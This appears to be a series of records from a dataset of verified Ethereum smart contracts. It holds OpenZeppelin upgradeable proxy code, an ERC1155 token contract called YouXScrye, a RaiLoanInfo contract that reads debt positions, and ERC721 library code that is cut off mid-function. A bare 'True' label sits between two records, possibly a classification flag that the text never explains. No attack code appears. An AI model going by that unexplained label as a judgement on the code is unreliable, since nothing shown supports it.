* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallUUPS(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
// Upgrades from old implementations will perform a rollback test. This test requires the new
// implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing
// this special case will break upgrade paths from old UUPS implementation to new ones.
if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {
_setImplementation(newImplementation);
} else {
try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) {
require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID");
} catch {
revert("ERC1967Upgrade: new implementation is not UUPS");
}
_upgradeToAndCall(newImplementation, data, forceCall);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/UUPSUpgradeable.sol)
pragma solidity ^0.8.0;
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal onlyInitializing {
}
function __UUPSUpgradeable_init_unchained() internal onlyInitializing {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Check that the execution is not being performed through a delegate call. This allows a function to be
* callable on the implementing contract but not through proxies.
*/
modifier notDelegated() {
require(address(this) == __self, "UUPSUpgradeable: must not be called through delegatecall");
_;
}
/**
* @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the
* implementation. It is used to validate that the this implementation remains valid after an upgrade.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier.
*/
function proxiableUUID() external view virtual override notDelegated returns (bytes32) {
return _IMPLEMENTATION_SLOT;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallUUPS(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File contracts/YouXScrye.sol
pragma solidity ^0.8.2;
/// @custom:security-contact bradley [ at ] scrye.ai
contract YouXScrye is Initializable, ERC1155Upgradeable, OwnableUpgradeable, PausableUpgradeable, ERC1155BurnableUpgradeable, UUPSUpgradeable {
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize() initializer public {
__ERC1155_init("https://api.scrye.ai/v1/metadata/face/");
__Ownable_init();
__Pausable_init();
__ERC1155Burnable_init();
__UUPSUpgradeable_init();
}
function withdrawAll() public {
uint256 amount = address(this).balance;
require(payable(owner()).send(amount));
}
function setURI(string memory newuri) public onlyOwner {
_setURI(newuri);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function mint(address account, uint256 id, uint256 amount, bytes memory data)
public
onlyOwner
{
_mint(account, id, amount, data);
}
function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
public
onlyOwner
{
_mintBatch(to, ids, amounts, data);
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
function _authorizeUpgrade(address newImplementation)
internal
onlyOwner
override
{}
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/**
*Submitted for verification at Etherscan.io on 2021-05-26
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
contract DSMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "");
}
function div(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x / y;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) internal pure returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) internal pure returns (int256 z) {
return x >= y ? x : y;
}
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**27;
function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
abstract contract IGetSafes {
function getSafesAsc(address manager, address guy) external virtual view returns (uint[] memory ids, address[] memory safes, bytes32[] memory collateralTypes);
function getSafesDesc(address manager, address guy) external virtual view returns (uint[] memory ids, address[] memory safes, bytes32[] memory collateralTypes);
}
abstract contract ISAFEEngine {
struct SAFE {
uint256 lockedCollateral;
uint256 generatedDebt;
}
struct CollateralType {
// Total debt issued for this specific collateral type
uint256 debtAmount; // [wad]
// Accumulator for interest accrued on this collateral type
uint256 accumulatedRate; // [ray]
// Floor price at which a SAFE is allowed to generate debt
uint256 safetyPrice; // [ray]
// Maximum amount of debt that can be generated with this collateral type
uint256 debtCeiling; // [rad]
// Minimum amount of debt that must be generated by a SAFE using this collateral
uint256 debtFloor; // [rad]
// Price at which a SAFE gets liquidated
uint256 liquidationPrice; // [ray]
}
mapping (bytes32 => mapping (address => SAFE )) public safes;
mapping (bytes32 => CollateralType) public collateralTypes;
mapping (bytes32 => mapping (address => uint)) public tokenCollateral;
function safeRights(address, address) virtual public view returns (uint);
function coinBalance(address) virtual public view returns (uint);
function modifySAFECollateralization(bytes32, address, address, address, int, int) virtual public;
function approveSAFEModification(address) virtual public;
function transferInternalCoins(address, address, uint) virtual public;
function transferSAFECollateralAndDebt(bytes32, address, address, int, int) virtual public;
}
abstract contract ISAFEManager {
function lastSAFEID(address) virtual public view returns (uint);
function safeCan(address, uint, address) virtual public view returns (uint);
function collateralTypes(uint) virtual public view returns (bytes32);
function ownsSAFE(uint) virtual public view returns (address);
function safes(uint) virtual public view returns (address);
function safeEngine() virtual public view returns (address);
function openSAFE(bytes32, address) virtual public returns (uint);
function transferSAFEOwnership(uint, address) virtual public;
function allowSAFE(uint, address, uint) virtual public;
function handlerAllowed(address, uint) virtual public;
function modifySAFECollateralization(uint, int, int) virtual public;
function transferCollateral(uint, address, uint) virtual public;
function transferInternalCoins(uint, address, uint) virtual public;
function quitSystem(uint, address) virtual public;
function enterSystem(address, uint) virtual public;
function moveSAFE(uint, uint) virtual public;
function safeCount(address) virtual public view returns (uint);
function safei() virtual public view returns (uint);
}
abstract contract IOracleRelayer {
struct CollateralType {
address orcl;
uint256 safetyCRatio;
}
mapping (bytes32 => CollateralType) public collateralTypes;
function redemptionPrice() public virtual returns (uint256);
uint256 public redemptionRate;
}
abstract contract IMedianOracle {
function read() external virtual view returns (uint256);
}
abstract contract ITaxCollector {
struct CollateralType {
uint256 stabilityFee;
uint256 updateTime;
}
mapping (bytes32 => CollateralType) public collateralTypes;
function taxSingle(bytes32) public virtual returns (uint);
}
contract RaiLoanInfo is DSMath {
// mainnet
address public constant GET_SAFES_ADDR = 0xdf4BC9aA98cC8eCd90Ba2BEe73aD4a1a9C8d202B;
address public constant MANAGER_ADDR = 0xEfe0B4cA532769a3AE758fD82E1426a03A94F185;
address public constant SAFE_ENGINE_ADDRESS = 0xCC88a9d330da1133Df3A7bD823B95e52511A6962;
address public constant ORACLE_RELAYER_ADDRESS = 0x4ed9C0dCa0479bC64d8f4EB3007126D5791f7851;
address public constant MEDIAN_ORACLE_ADDRESS = 0xFbF4849a06F6e6F53EcB31D2f8BD61aA7874b268;
address public constant TAX_COLLECTOR_ADDRESS = 0xcDB05aEda142a1B0D6044C09C64e4226c1a281EB;
// kovan
// address public constant GET_SAFES_ADDR = 0x702dcf4a8C3bBBd243477D5704fc45F2762D3826;
// address public constant MANAGER_ADDR = 0x807C8eCb73d9c8203d2b1369E678098B9370F2EA;
// address public constant SAFE_ENGINE_ADDRESS = 0x7f63fE955fFF8EA474d990f1Fc8979f2C650edbE;
// address public constant ORACLE_RELAYER_ADDRESS = 0xE5Ae4E49bEA485B5E5172EE6b1F99243cB15225c;
// address public constant MEDIAN_ORACLE_ADDRESS = 0x82bEAd00751EFA3286c9Dd17e4Ea2570916B3944;
// address public constant TAX_COLLECTOR_ADDRESS = 0xc1a94C5ad9FCD79b03F79B34d8C0B0C8192fdc16;
struct SafeInfo {
uint256 safeId;
uint256 coll;
uint256 debt;
address safeAddr;
bytes32 collType;
}
struct CollInfo {
uint256 debtCeiling;
uint256 currDebtAmount;
uint256 currRate;
uint256 dust;
uint256 safetyPrice;
uint256 liqPrice;
uint256 assetPrice;
uint256 liqRatio;
uint256 stabilityFee;
}
struct RaiInfo {
uint256 redemptionPrice;
uint256 currRaiPrice;
uint256 redemptionRate;
}
function getCollateralTypeInfo(bytes32 _collType)
public
returns (CollInfo memory collInfo)
{
(
uint256 debtAmount,
uint256 accumulatedRates,
uint256 safetyPrice,
uint256 debtCeiling,
uint256 debtFloor,
uint256 liquidationPrice
) = ISAFEEngine(SAFE_ENGINE_ADDRESS).collateralTypes(_collType);
(, uint liqRatio) = IOracleRelayer(ORACLE_RELAYER_ADDRESS).collateralTypes(_collType);
(uint stabilityFee,) = ITaxCollector(TAX_COLLECTOR_ADDRESS).collateralTypes(_collType);
collInfo = CollInfo({
debtCeiling: debtCeiling,
currDebtAmount: debtAmount,
currRate: accumulatedRates,
dust: debtFloor,
safetyPrice: safetyPrice,
liqPrice: liquidationPrice,
assetPrice: getPrice(_collType),
liqRatio: liqRatio,
stabilityFee: stabilityFee
});
}
function getCollAndRaiInfo(bytes32 _collType)
public
returns (CollInfo memory collInfo, RaiInfo memory raiInfo) {
collInfo = getCollateralTypeInfo(_collType);
raiInfo = getRaiInfo();
}
function getPrice(bytes32 _collType) public returns (uint256) {
(, uint256 safetyCRatio) =
IOracleRelayer(ORACLE_RELAYER_ADDRESS).collateralTypes(_collType);
(, , uint256 safetyPrice, , , ) =
ISAFEEngine(SAFE_ENGINE_ADDRESS).collateralTypes(_collType);
uint256 redemptionPrice = IOracleRelayer(ORACLE_RELAYER_ADDRESS).redemptionPrice();
return rmul(rmul(safetyPrice, redemptionPrice), safetyCRatio);
}
function getRaiInfo() public returns (RaiInfo memory raiInfo) {
uint medianPrice = 0;
try IMedianOracle(MEDIAN_ORACLE_ADDRESS).read() returns (uint p) {
medianPrice = p;
} catch(bytes memory) {}
raiInfo = RaiInfo({
redemptionPrice: IOracleRelayer(ORACLE_RELAYER_ADDRESS).redemptionPrice(),
currRaiPrice: medianPrice,
redemptionRate: IOracleRelayer(ORACLE_RELAYER_ADDRESS).redemptionRate()
});
}
function getSafeInfo(uint256 _safeId) public view returns (SafeInfo memory safeInfo) {
address safeAddr = ISAFEManager(MANAGER_ADDR).safes(_safeId);
bytes32 collType = ISAFEManager(MANAGER_ADDR).collateralTypes(_safeId);
(uint256 coll, uint256 debt) = ISAFEEngine(SAFE_ENGINE_ADDRESS).safes(collType, safeAddr);
safeInfo = SafeInfo({
safeId: _safeId,
coll: coll,
debt: debt,
safeAddr: safeAddr,
collType: collType
});
}
function getUserSafes(address _user)
public
view
returns (
uint256[] memory ids,
address[] memory safes,
bytes32[] memory collateralTypes
)
{
return IGetSafes(GET_SAFES_ADDR).getSafesAsc(MANAGER_ADDR, _user);
}
function getUserSafesFullInfo(address _user) public view returns (SafeInfo[] memory safeInfos) {
(uint256[] memory ids, , ) = getUserSafes(_user);
safeInfos = new SafeInfo[](ids.length);
for (uint256 i = 0; i < ids.length; ++i) {
safeInfos[i] = getSafeInfo(ids[i]);
}
}
function getFullInfo(address _user, bytes32 _collType)
public
returns (
CollInfo memory collInfo,
RaiInfo memory raiInfo,
SafeInfo[] memory safeInfos
)
{
collInfo = getCollateralTypeInfo(_collType);
raiInfo = getRaiInfo();
safeInfos = getUserSafesFullInfo(_user);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-09-04
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
